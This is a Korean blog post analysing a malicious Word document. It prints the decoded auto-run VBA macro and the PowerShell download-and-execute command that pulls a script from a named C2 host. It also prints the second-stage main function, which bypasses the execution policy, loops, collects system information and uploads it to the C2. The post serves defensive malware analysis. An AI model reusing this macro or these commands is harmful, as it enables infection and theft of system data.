악성코드

악성코드가 포함된 워드문서(doc) 분석

kimnampill 2022. 10. 3. 09:16
728x90
반응형

○ 워드 서를 열람하면 매크로 기능이 포함되어 있는 문서로 확인된다.

매크로 내용을 확인한 결과, 난독화된 소스코드가 확인되며 디코딩하면 아래 표와 같다.

Public Sub Document_Open()
Set a = CreateObject("Shell.Application")
Dim d
f = "vnslajdsladkf"
f = Left(f, 5)
#vnsla 문자열 추출


d = "pvnslavnslaowvnslavnslavnslaersvnslahelvnslavnslal.evnslaxvnslae"
d = Replace(d, f, "")
# d 변수 문자열에서 “vnsla”을 공백으로 변경
# d = "powershell.exe"


h = "[vnslastvnslarivnslanvnslag]$vnslaf={(Nvnslawrvnslaaevnslaw-Ovnslabjvnslawrvnslaavnslavnslaecvnslatvnsla "
h = Replace(h, f, "")
# h 변수 문자열에서 “vnsla”을 공백으로 변경
# h = "[string]$f={(Nwraew-Objwraect "


n = "Nvnslaewvnslaravnslavnslat.WvnslaebvnslawrvnslaaCvnslalvnslaiwvnslavnslaravnslaewvnslaravnslanvnslat).Dovnslawevnslailvnslasvnslavnsladjvnslafenvnslag"
n = Replace(n, f, "")
# n 변수 문자열에서 “vnsla”을 공백으로 변경
# n = "Newrat.WebwraCliwraewrant).Doweilsdjfeng"


s = "('hvnslatvnslatvnslapvnsla:vnsla/vnsla/vnslauvnslasvnslakvnslaavnslamvnsla.vnslamvnslayvnslaavnslarvnslatvnslasvnslaovnslanvnslalvnslaivnslanvnslaevnsla.vnslacvnslaovnslamvnsla/vnslasvnslaevnsla/vnslaojvnsla.vnslatvnslaxvnslat')"
s = Replace(s, f, "")
# s 변수 문자열에서 “vnsla”을 공백으로 변경
# s = "('http://uskam.myartsonline.com/se/oj.txt')"


j = "};$jvnsla=$vnslafvnsla.Revnslapvnslalavnslavnslacvnslae('vnslawra','');$vnslau=$vnslajvnsla.Rvnslaepvnslalavnslacvnslae('evnslailvnslasdvnslavnslajvnslafvnslae',"
j = Replace(j, f, "")
# j 변수 문자열에서 “vnsla”을 공백으로 변경
# j = "};$j=$f.Replace('wra','');$u=$j.Replace('eilsdjfe',"


k = "'nvnslalovnslaadvnslavnslasvnslatrvnslaivnslavnsla');$xvnsla=ievnslavnslax $vnslauvnsla;ievnslaxvnsla $vnslaxvnsla"
k = Replace(k, f, "")
# k 변수 문자열에서 “vnsla”을 공백으로 변경
# k = "'nloadstri');$x=iex $u;iex $x"


y = h + n + s + j + k
# y 변수에 h, n, s, j, k 문자열 합침
# y = "[string]$f={(Nwraew-Objwraect Newrat.WebwraCliwraewrant).Doweilsdjfeng('http://uskam.myartsonline.com/se/oj.txt')};$j=$f.Replace('wra','');$u=$j.Replace('eilsdjfe','nloadstri');$x=iex $u;iex $x"


a.ShellExecute d, y, "", "open", 0
# 파워쉘로 스크립트 실행
# a.ShellExecute "powershell.exe", "[string]$f={(Nwraew-Objwraect Newrat.WebwraCliwraewrant).Doweilsdjfeng('http://uskam.myartsonline.com/se/oj.txt')};$j=$f.Replace('wra','');$u=$j.Replace('eilsdjfe','nloadstri');$x=iex $u;iex $x", "", "open", 0


End Sub
 

[2]의 파란색 글자로 표시한 부분은 아래 [그림 2]과 같으며 ‘Replace’ 함수를 포함하고 있다. 이를 해석하면 와 같다.

파워쉘을 통해 C2서버 도메인 ‘uskam.myartsonline.com’에서 ‘oj.txt’ 악성파일을 시스템에 다운로드 받아 실행하는 것이 확인된다.

 

‘oj.txt’ 파일을 C2서버에서 다운로드 받아 분석한 결과, 파워쉘 스크립트로 확인되며, 아래 [3]과 같이 6개의 함수와 기능을 확인하였다.

연번 함수명 기능 설명
1 decode C2서버에서 추가로 다운로드 받는 악성코드를 디코딩하여 실행하는 함수
2 UpLoadFunc ‘Ahnlab.hwp’ 파일 내용을 C2서버에 전송하는 함수
3 FileUploading ‘Ahnlab.hwp’ 파일이 감염 시스템에 존재하는지 확인하는 함수
4 Download C2서버에서 추가로 악성파일을 다운로드 받는 함수
5 Get_info ProgramFiles, C:\Program Files (x86) 폴더 안의 파일목록, 시스템정보, 작업스케줄러 목록을 'Ahnlab.hwp' 파일에 저장하는 함수
6 main 위 함수들을 실행하는 메인 함수

 

○ 위의 표 연번6 ‘main’ 함수 소스코드는 아래 [4]와 같다. main Get_info FileUploading UpLoadFunc Download decode 함수순으로 실행되는 것이 확인된다. ‘[사용자계정폴더]\AppData\Ahnlab\’ 경로에 ‘Ahnlab.hwp’ 파일을 생성한 후 감염된 시스템의 프로그램 목록, 시스템 정보, 작업 스케줄러 목록을 탈취하여 C2서버에 전송하는 것을 확인하였다.

function main # 메인 함수 (첫 번재로 동작)
{
Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Bypass Force
# 외부 스크립트 실행 가능하도록 정책 변경


$FilePath = $env:APPDATA + $LOG_FILEPATH
New-Item -Path $FilePath -Type directory -Force
$szLogPath = $FilePath + $LOG_FILENAME # 파일 저장경로 : %AppData%Ahnlab\ahnlab.hwp
$key = Get-Item -Path $RegKey
$exists = $key.GetValueNames() -contains $RegValueName
if($exists eq $False) # AhnlabUpdate 레지스트리가 존재하지 않는 경우
{
$value1 = New-ItemProperty -Path $RegKey -Name $RegValueName
Get_info $szLogPath
# ProgramFiles, C:\Program Files (x86) 폴더 리스트
# 시스템정보, 작업스케줄러 목록을 'ahnlab.hwp'에 저장
}
while ($true) # AhnlabUpdate 레지스트리가 존재하는 경우 반복 실행
{
FileUploading $szLogPath # 'ahnlab.hwp' 파일 업로드
Start-Sleep -s 10
Download # 추가 악성파일 다운로드 uskam.myartsonline.com/se/oj.down
Start-Sleep -s 10
Start-Sleep -s $TIME_VALUE
}


}

 

 

반응형
댓글수0